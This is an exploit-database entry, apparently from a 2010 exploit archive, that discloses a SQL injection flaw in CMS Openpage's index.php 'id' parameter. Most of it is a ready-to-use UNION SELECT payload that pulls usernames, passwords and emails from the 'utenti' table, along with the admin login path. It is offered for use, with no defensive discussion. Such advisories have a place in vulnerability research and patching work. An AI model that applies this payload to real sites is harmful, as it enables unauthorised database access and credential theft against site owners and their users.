CMS Openpage - 'index.php' SQL Injection

Author: Phenom
type: webapps
platform: php
port: 
date_added: 2010-03-21 
date_updated:  
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

====================================================
CMS Openpage (index.php) SQL Injection Vulnerability
====================================================

[+] Discovered by: Phenom
[+] My id: http://inj3ct0r.com/author/2157
[+] Original: http://inj3ct0r.com/exploits/9666

# Exploit Title: CMS Openpage (index.php) SQL Injection Vulnerability
# Tested on: windows xp sp3
# Code :

>>[Author] = Phenom

>>[CMS] = CMS Openpage

>>[Dork] = I hate script kiddies

>>[Date] = 2010-03-22


>>[Exploit] :

[Bug] = [index.php?pagina=news&id=]

[Usage] = http://www.site/index.php?pagina=news&id=[SQL Injection]

[Login] = http://site/index_priv.php


>>[Demo] :

[+] http://[site]/index.php?pagina=news&id=-5+union+select+1,group_concat%28concat%28username,0x3a,password,0x3a,email%29%20separator%200x3c62723e%29,3,4,5,6,7,8,9,10+from+utenti--


# Inj3ct0r.com [2010-03-22]